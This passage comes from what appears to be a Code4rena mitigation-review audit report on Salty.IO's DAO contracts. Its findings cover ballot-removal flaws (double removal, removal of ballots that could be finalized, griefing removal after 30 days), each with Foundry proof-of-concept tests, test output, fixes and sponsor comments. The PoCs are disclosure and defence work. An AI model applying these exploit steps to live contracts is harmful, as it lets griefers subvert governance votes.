emit log_named_decimal_uint("requiredQuorumForBallotType =", proposals.requiredQuorumForBallotType(BallotType.PARAMETER), 18); // only 10% of (6_000_000 + 60_000) = 606_000
// Alice cancels her unstake
staking.cancelUnstake(unstakeID);
skip(14 days);
// Alice casts a vote, enough for quorum
proposals.castVote(ballotID, Vote.INCREASE);
vm.stopPrank();
emit log_named_decimal_uint("votes cast in favour =", proposals.votesCastForBallot(ballotID, Vote.INCREASE), 18);
// Now it should be possible to finalize the ballot
dao.finalizeBallot(ballotID);
// Check that the ballot is finalized
bool isBallotFinalized = !proposals.ballotForID(ballotID).ballotIsLive;
assertTrue(isBallotFinalized);
}
Output:
Ran 2 tests for src/dao/tests/DAO.t.sol:TestDAO
[PASS] test_t0x1c_cancelUnstakeToManipulateVotingPower() (gas: 954702)
Logs:
requiredQuorumForBallotType =: 606000.000000000000000000
votes cast in favour =: 630000.000000000000000000
[PASS] test_t0x1c_stakingAfterProposalCreation() (gas: 1045244)
Test result: ok. 2 passed; 0 failed; 0 skipped; finished in 10.52s
Same answer as #58.
I think the lower bound on the quorum based on the total supply downgrades the severity of this to Low.
manuallyRemoveBallot()
doesn’t check if the ballot can be finalized or has been removed before
Submitted by 0xpiken
Related to: M-19 Severity: Medium
In the original implementation, a ballot cannot be closed or canceled without meeting the required quorum, even if the ballotMinimumEndTime
has passed.
Mitigation
commit 7583498
The mitigation introduced a variable ballotMaximumDuration
for ballot and a function DAO#manuallyRemoveBallot()
.
Whenever a ballot is expired, it can be removed by any one.
Impact
Three new issues were produced due to missing status checks:
- Two or more living ballots with the same name can exist at the same time
- One eligible user can create multi ballots at the same time
- A ballot could be removed accidentally or intentionally even it has sufficient votes
Proof of Concept
-
Issue 1:
- Alice created ballotA, which was expired without enough votes
- ballotA was removed by calling
DAO#manuallyRemoveBallot()
- Alice created ballotB
- Alice called
DAO#manuallyRemoveBallot()
to remove ballotA again._userHasActiveProposal[Alice]
was reset tofalse
- Alice created ballotC successfully even ballotB is living.
-
Issue 2:
- Alice created ballotA(ballotID = A1), which was expired without enough votes
- The ballotA was removed by calling
DAO#manuallyRemoveBallot()
- Alice created ballotA(ballotID = A2) again (same ballot name but different ballotID)
- Bob called
DAO#manuallyRemoveBallot(A1)
to remove ballot again,openBallotsByName[ballotA]
was deleted - Bob created ballotA successfully even Alice’s ballotA is opened.
-
Issue 3:
- Alice creates a new ballot with
ballotMinimumDuration
as 10 days andballotMaximumDuration
as 30 days - The voting number is very closed to
requiredQuorum
- Bob votes on it in day 30, now the voting number reaches
requiredQuorum
threshold. - However, Charlie doesn’t like the voting result, he call
DAO#manuallyRemoveBallot()
to remove the vote.
- Alice creates a new ballot with
POC of Issue 1 & 2:
Copy below codes to DAO.t.sol and run COVERAGE="yes" NETWORK="sep" forge test -vv --rpc-url RPC_URL --match-test testManualRemovalBallotIssue1And2&2
function testManualRemovalBallotIssue1And2() public
{
// Alice stakes her SALT to get voting power
vm.startPrank(address(daoVestingWallet));
salt.transfer(alice, 1000000 ether); // for staking and voting
salt.transfer(address(dao), 1000000 ether); // bootstrapping rewards
vm.stopPrank();
vm.startPrank(alice);
staking.stakeSALT(500000 ether);
IERC20 test = new TestERC20( "TEST", 18 );
string memory ballotName = string.concat("whitelist:", Strings.toHexString(address(test)), "url", "description" );
// Propose a whitelisting ballot
proposals.proposeTokenWhitelisting(test, "url", "description");
uint256 ballotID = 1;
// Increase block time to finalize the ballot
skip( daoConfig.ballotMaximumDuration() + 1);
// Propose a whitelisting ballot
vm.expectRevert( "Users can only have one active proposal at a time" );
proposals.proposeTokenWhitelisting(test, "url", "description");
dao.manuallyRemoveBallot(ballotID);
assertEq(proposals.ballotForID(ballotID).ballotIsLive, false, "Ballot should have been removed");
uint256 secondBallot = proposals.proposeTokenWhitelisting(test, "url", "description");
//@audit-info a proposal named `ballotName` is created
assertEq(proposals.openBallotsByName(ballotName), secondBallot);
//@audit-info alice has active proposal
assertEq(proposals.userHasActiveProposal(alice), true);
uint256 thirdBallot;
//@audit-info alice can not create another proposal because she has one active proposal
vm.expectRevert( "Users can only have one active proposal at a time" );
thirdBallot = proposals.proposeTokenWhitelisting(test, "url", "description");
//@audit-info The closed ballot was removed again
dao.manuallyRemoveBallot(ballotID);
//@audit-info the proposal named `ballotName` was removed
assertEq(proposals.openBallotsByName(ballotName), 0);
//@audit-info alice doesn't have active proposal now
assertEq(proposals.userHasActiveProposal(alice), false);
//@audit-info salice created another proposal named `ballotName`
thirdBallot = proposals.proposeTokenWhitelisting(test, "url", "description");
//@audit-info the ballotId of `ballotName` was changed to thirdBallot
assertEq(proposals.openBallotsByName(ballotName), thirdBallot);
}
POC of Issue 3:
Copy below codes to DAO.t.sol and run COVERAGE="yes" NETWORK="sep" forge test -vv --rpc-url RPC_URL --match-test testManualRemovalBallotIssue3
function testManualRemovalBallotIssue3() public
{
// Alice stakes her SALT to get voting power
vm.startPrank(address(daoVestingWallet));
salt.transfer(alice, 500000 ether);// for staking and voting
salt.transfer(bob, 500000 ether);
salt.transfer(address(dao), 1000000 ether); // bootstrapping rewards
vm.stopPrank();
//@audit-info alice creates a token whitelisting proposal
vm.startPrank(alice);
salt.approve(address(staking), type(uint256).max);
staking.stakeSALT(500000 ether);
IERC20 test = new TestERC20( "TEST", 18 );
// Propose a whitelisting ballot
proposals.proposeTokenWhitelisting(test, "url", "description");
uint256 ballotID = 1;
// Increase block time to finalize the ballot
skip( daoConfig.ballotMaximumDuration() + 1);
vm.stopPrank();
//@audit-info the proposal can not be finalized without enough votes
assertEq(proposals.canFinalizeBallot(ballotID), false);
//@audit-info bob votes on it
vm.startPrank(bob);
salt.approve(address(staking), type(uint256).max);
staking.stakeSALT(500000 ether);
proposals.castVote(ballotID, Vote.YES);
vm.stopPrank();
//@audit-info the proposal can be finalized
assertEq(proposals.canFinalizeBallot(ballotID), true);
//@audit-info however it can be removed
dao.manuallyRemoveBallot(ballotID);
assertEq(proposals.ballotForID(ballotID).ballotIsLive, false, "Ballot should have been removed");
}
Recommended Mitigation Steps
Check if the ballot is living before removing it:
function markBallotAsFinalized( uint256 ballotID ) external nonReentrant
{
require( msg.sender == address(exchangeConfig.dao()), "Only the DAO can mark a ballot as finalized" );
Ballot storage ballot = ballots[ballotID];
+ require(ballot.ballotIsLive, "The ballot has been finalized");
// Remove finalized whitelist token ballots from the list of open whitelisting proposals
if ( ballot.ballotType == BallotType.WHITELIST_TOKEN )
_openBallotsForTokenWhitelisting.remove( ballotID );
// Remove from the list of all open ballots
_allOpenBallots.remove( ballotID );
ballot.ballotIsLive = false;
// Indicate that the user who posted the proposal no longer has an active proposal
address userThatPostedBallot = _usersThatProposedBallots[ballotID];
_userHasActiveProposal[userThatPostedBallot] = false;
delete openBallotsByName[ballot.ballotName];
emit BallotFinalized(ballotID);
}
Any ballot that can be finalized should not be removable:
function manuallyRemoveBallot( uint256 ballotID ) external nonReentrant
{
Ballot memory ballot = proposals.ballotForID(ballotID);
+ require( !proposals.canFinalizeBallot(ballotID), "The ballot is able to be finalized" );
require( block.timestamp >= ballot.ballotMaximumEndTime, "The ballot is not yet able to be manually removed" );
// Mark the ballot as no longer votable and remove it from the list of open ballots
proposals.markBallotAsFinalized(ballotID);
}
Although these three issues are described together here, I want to remind that they should be listed as two different medium issues:
- issue 1 & 2: One user can have more than one living ballots or more than one living ballots own same ballot name because
markBallotAsFinalized()
doesn’t check if the ballot to be removed is living or not.- issue 3: A
can be finalized
ballot could be removed accidentally or intentionally when time exceedsballotMaximumEndTime
.The root causes of them are different, and the consequences are also different
It seems from sponsor’s comments in #94 that
issue 3
is to be considered invalid?
othernet-global (Salty.IO) confirmed and commented:
Checking that the ballot has not already been finalized is definitely important. Thank you!
Fixed in: bea938fb1c667be81ce4ea135b758626a756927c
Allowing ballots to be manually ended even if they could be approved is valid. In a governance attack there may be spammed ballots (like send SALT which can only be now executed once a week). It can be useful for those spammed ballots to be removed.
@piken Yes indeed I consider point 3 to be invalid as discussed in #94
Proposal can be removed after 30 days without owner’s consent
*Submitted by t0x1c
Severity: Low
https://github.com/othernet-global/salty-io/blob/main/src/dao/DAO.sol#L256
Summary & Impact
The mitigation for M-19 was meant to ensure to avoid trapping the proposers indefinitely if their proposal had still not met quorum after 30 days. Hence the function manuallyRemoveBallot() is introduced which can be called by anyone.
The fix incorrectly assumes that the owner will always want their proposal to be cancelled after 30 days. This is not true. If their proposal is quite close to reaching quorum, the owner may want to keep it alive for a few more days. However, a griefer or someone who has voted against the ballot can choose to delete the proposal.
This choice of deleting the ballot ought to remain in the hands of only the proposal owner.
Proof of Concept
- Total staked salt = 6,000,000 in the system right now.
- Alice stakes her 650,000 salt. The total salt staked is now 6,000,000 + 650,000 = 6,650,000
- Alice floats her proposal.
- Minimum quorum required is 10% of 6,650,000 = 665,000
- Alice votes
yes
but this is still less than minimum required quorum. - 30 days pass. Alice can see the proposal is tantalizingly close to reaching quorum and has an overwhelming majority of
yes
votes. So she plans to wait for another couple of days. - Bob does not want the proposal to go through. Since 30 days have passed, he calls
manuallyRemoveBallot()
to remove the proposal. - Alice can do nothing to stop Bob.
Add the following tests inside src/dao/tests/DAO.t.sol
and run via COVERAGE="yes" NETWORK="sep" forge test -vv --rpc-url https://rpc.ankr.com/eth_sepolia --mt test_30dayRemoval
to see the test pass:
function test_30dayRemoval() public {
// ********************* SETUP ********************************
deal(address(salt), address(DEPLOYER), 6_000_000 ether);
vm.prank(DEPLOYER);
staking.stakeSALT(6_000_000 ether);
// Set up the parameters for the proposal
uint256 proposalNum = 0; // Assuming an enumeration starting at 0 for parameter proposals
uint256 ballotID = 1;
// Alice stakes her SALT to get voting power
uint256 aliceStakedAmount = 650_000 ether;
deal(address(salt), address(alice), aliceStakedAmount);
// ************************************************************
vm.startPrank(alice);
staking.stakeSALT(aliceStakedAmount);
// Propose a parameter ballot
proposals.proposeParameterBallot(proposalNum, "Increase max pools count");
// Alice casts a vote, but not enough for quorum
// minQuorum required = 10% of (6_000_000 + 650_000) ether = 665_000 ether
proposals.castVote(ballotID, Vote.INCREASE);
assertEq(proposals.votesCastForBallot(ballotID, Vote.INCREASE), aliceStakedAmount);
vm.stopPrank();
skip(30 days);
assertEq(proposals.ballotForID(ballotID).ballotIsLive, true, "Ballot should have been Live");
// Bob calls `manuallyRemoveBallot()` to remove the proposal
vm.prank(bob);
dao.manuallyRemoveBallot(ballotID);
assertEq(proposals.ballotForID(ballotID).ballotIsLive, false, "Ballot should have been removed");
}
Recommended Mitigation Steps
Inside manuallyRemoveBallot()
, ensure that msg.sender
is the owner of the proposal.
Conclusion
New attack vector created due to the fix.
Disclosures
C4 is an open organization governed by participants in the community.
C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.
C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.